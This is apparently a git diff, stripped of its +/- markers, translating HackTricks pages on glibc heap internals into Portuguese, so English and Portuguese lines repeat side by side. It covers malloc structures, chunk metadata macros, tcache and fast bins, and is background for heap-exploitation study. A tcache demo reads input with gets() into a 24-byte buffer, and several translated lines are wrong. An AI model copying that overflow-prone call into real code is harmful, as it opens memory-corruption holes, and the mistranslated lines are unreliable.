int have_fastchunks;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
Esta estrutura representa um determinado bloco de memória. Os vários campos têm significados diferentes para blocos alocados e não alocados.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
As commented previously, these chunks also have some metadata, very good represented in this image:
Como comentado anteriormente, esses chunks também têm alguns metadados, muito bem representados nesta imagem:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
Os metadados geralmente são 0x08B, indicando o tamanho atual do chunk usando os últimos 3 bits para indicar:
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
- `P`: If 1, the previous chunk is in use
- `A`: Se 1, vem de um subheap; se 0, está na arena principal
- `M`: Se 1, este chunk é parte de um espaço alocado com mmap e não parte de um heap
- `P`: Se 1, o chunk anterior está em uso
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
Então, o espaço para os dados do usuário, e finalmente 0x08B para indicar o tamanho do chunk anterior quando o chunk está disponível (ou para armazenar dados do usuário quando está alocado).
Moreover, when available, the user data is used to contain also some data:
Além disso, quando disponível, os dados do usuário também são usados para conter alguns dados:
- **`fd`**: Pointer to the next chunk
- **`bk`**: Pointer to the previous chunk
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
- **`fd`**: Ponteiro para o próximo chunk
- **`bk`**: Ponteiro para o chunk anterior
- **`fd_nextsize`**: Ponteiro para o primeiro chunk na lista que é menor que ele mesmo
- **`bk_nextsize`:** Ponteiro para o primeiro chunk na lista que é maior que ele mesmo
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
> Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk individual está sendo registrado.
### Chunk Pointers
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
### Ponteiros de Chunk
Quando malloc é usado, um ponteiro para o conteúdo que pode ser escrito é retornado (logo após os cabeçalhos), no entanto, ao gerenciar chunks, é necessário um ponteiro para o início dos cabeçalhos (metadados).\
Para essas conversões, essas funções são usadas:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Alinhamento e tamanho mínimo
### Alignment & min size
The pointer to the chunk and `0x0f` must be 0.
O ponteiro para o chunk e `0x0f` devem ser 0.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */
if passed a literal constant. */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
return request2size (req);
return request2size (req);
}
```
Observe que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
### Obter dados do Chunk e alterar metadados
### Get Chunk data and alter metadata
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
Essas funções funcionam recebendo um ponteiro para um chunk e são úteis para verificar/configurar metadados:
- Verificar flags do chunk
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
- Sizes and pointers to other chunks
- Tamanhos e ponteiros para outros chunks
```c
/*
Bits to mask off when extracting size
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Insue bit
- Insira bit
```c
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Set head and footer (when chunk nos in use
- Defina cabeçalho e rodapé (quando números de chunk estão em uso)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Get the size of the real usable data inside the chunk
- Obtenha o tamanho dos dados utilizáveis reais dentro do chunk
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */
dumped heap chunks. */
#define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule.");
"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}
```
## Exemplos
## Examples
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
### Exemplo Rápido de Heap
Exemplo rápido de heap de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) mas em arm64:
```c
#include <stdio.h>
#include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Set a breakpoint at the end of the main function and lets find out where the information was stored:
Defina um ponto de interrupção no final da função principal e vamos descobrir onde a informação foi armazenada:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
É possível ver que a string panda foi armazenada em `0xaaaaaaac12a0` (que foi o endereço dado como resposta pelo malloc dentro de `x0`). Verificando 0x10 bytes antes, é possível ver que o `0x0` representa que o **chunk anterior não está em uso** (comprimento 0) e que o comprimento deste chunk é `0x21`.
Os espaços extras reservados (0x21-0x10=0x11) vêm dos **cabeçalhos adicionados** (0x10) e 0x1 não significa que foi reservado 0x21B, mas os últimos 3 bits do comprimento do cabeçalho atual têm alguns significados especiais. Como o comprimento é sempre alinhado a 16 bytes (em máquinas de 64 bits), esses bits na verdade nunca serão usados pelo número de comprimento.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Multithreading Example
### Exemplo de Multithreading
<details>
<summary>Multithread</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n");
printf("Hello from thread 2\n");
}
int main() {
pthread_t t1;
void* s;
int ret;
char* addr;
pthread_t t1;
void* s;
int ret;
char* addr;
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n");
getchar();
printf("Before exit\n");
getchar();
return 0;
return 0;
}
```
</details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
Depurando o exemplo anterior, é possível ver como no início há apenas 1 arena:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created:
Então, após chamar o primeiro thread, aquele que chama malloc, uma nova arena é criada:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found:
e dentro dela alguns chunks podem ser encontrados:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
## Bins & Alocações/Liberções de Memória
Check what are the bins and how are they organized and how memory is allocated and freed in:
Verifique quais são os bins e como estão organizados e como a memória é alocada e liberada em:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
## Heap Functions Security Checks
## Verificações de Segurança das Funções de Heap
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
As funções envolvidas no heap realizarão certas verificações antes de executar suas ações para tentar garantir que o heap não foi corrompido:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Referências
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
Para melhorar a eficiência de como os chunks são armazenados, cada chunk não está apenas em uma lista encadeada, mas existem vários tipos. Estes são os bins e há 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins pequenos, 63 bins grandes, 1 bin não ordenado, 10 bins rápidos e 64 bins tcache por thread.
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
O endereço inicial para cada bin não ordenado, pequeno e grande está dentro do mesmo array. O índice 0 não é utilizado, 1 é o bin não ordenado, os bins 2-64 são bins pequenos e os bins 65-127 são bins grandes.
### Tcache (Per-Thread Cache) Bins
### Bins Tcache (Cache por Thread)
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
Embora as threads tentem ter seu próprio heap (veja [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), existe a possibilidade de que um processo com muitas threads (como um servidor web) **acabe compartilhando o heap com outras threads**. Nesse caso, a principal solução é o uso de **lockers**, que podem **reduzir significativamente a velocidade das threads**.
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Portanto, um tcache é semelhante a um bin rápido por thread na forma como é uma **lista encadeada simples** que não mescla chunks. Cada thread tem **64 bins tcache encadeados**. Cada bin pode ter um máximo de [7 chunks do mesmo tamanho](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) variando de [24 a 1032B em sistemas de 64 bits e 12 a 516B em sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
**Quando uma thread libera** um chunk, **se não for muito grande** para ser alocado no tcache e o respectivo bin tcache **não estiver cheio** (já 7 chunks), **ele será alocado lá**. Se não puder ir para o tcache, precisará esperar pelo bloqueio do heap para poder realizar a operação de liberação globalmente.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
Quando um **chunk é alocado**, se houver um chunk livre do tamanho necessário no **Tcache, ele o usará**, se não, precisará esperar pelo bloqueio do heap para poder encontrar um nos bins globais ou criar um novo.\
Há também uma otimização, nesse caso, enquanto tiver o bloqueio do heap, a thread **preencherá seu Tcache com chunks do heap (7) do tamanho solicitado**, para que, caso precise de mais, os encontre no Tcache.
<details>
<summary>Add a tcache chunk example</summary>
<summary>Adicionar um exemplo de chunk tcache</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
}
```
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
Compile-o e depure-o com um ponto de interrupção no opcode ret da função main. Então, com gef, você pode ver o bin tcache em uso:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
</details>
#### Tcache Structs & Functions
#### Estruturas e Funções Tcache
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
No código a seguir, é possível ver os **max bins** e **chunks por índice**, a estrutura **`tcache_entry`** criada para evitar liberações duplas e **`tcache_perthread_struct`**, uma estrutura que cada thread usa para armazenar os endereços de cada índice do bin.
<details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
<summary><code>tcache_entry</code> e <code>tcache_perthread_struct</code></summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */
of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
</details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
A função `__tcache_init` é a função que cria e aloca o espaço para o objeto `tcache_perthread_struct`
<details>
<summary>tcache_init code</summary>
<summary>código tcache_init</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
</details>
#### Tcache Indexes
#### Índices Tcache
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
O tcache possui vários bins dependendo do tamanho e os ponteiros iniciais para o **primeiro chunk de cada índice e a quantidade de chunks por índice estão localizados dentro de um chunk**. Isso significa que, localizando o chunk com essa informação (geralmente o primeiro), é possível encontrar todos os pontos iniciais do tcache e a quantidade de chunks do Tcache.
### Fast bins
### Bins Rápidos
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
Os bins rápidos são projetados para **acelerar a alocação de memória para pequenos chunks** mantendo chunks recentemente liberados em uma estrutura de acesso rápido. Esses bins usam uma abordagem Last-In, First-Out (LIFO), o que significa que o **chunk mais recentemente liberado é o primeiro** a ser reutilizado quando há um novo pedido de alocação. Esse comportamento é vantajoso para a velocidade, pois é mais rápido inserir e remover do topo de uma pilha (LIFO) em comparação com uma fila (FIFO).
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
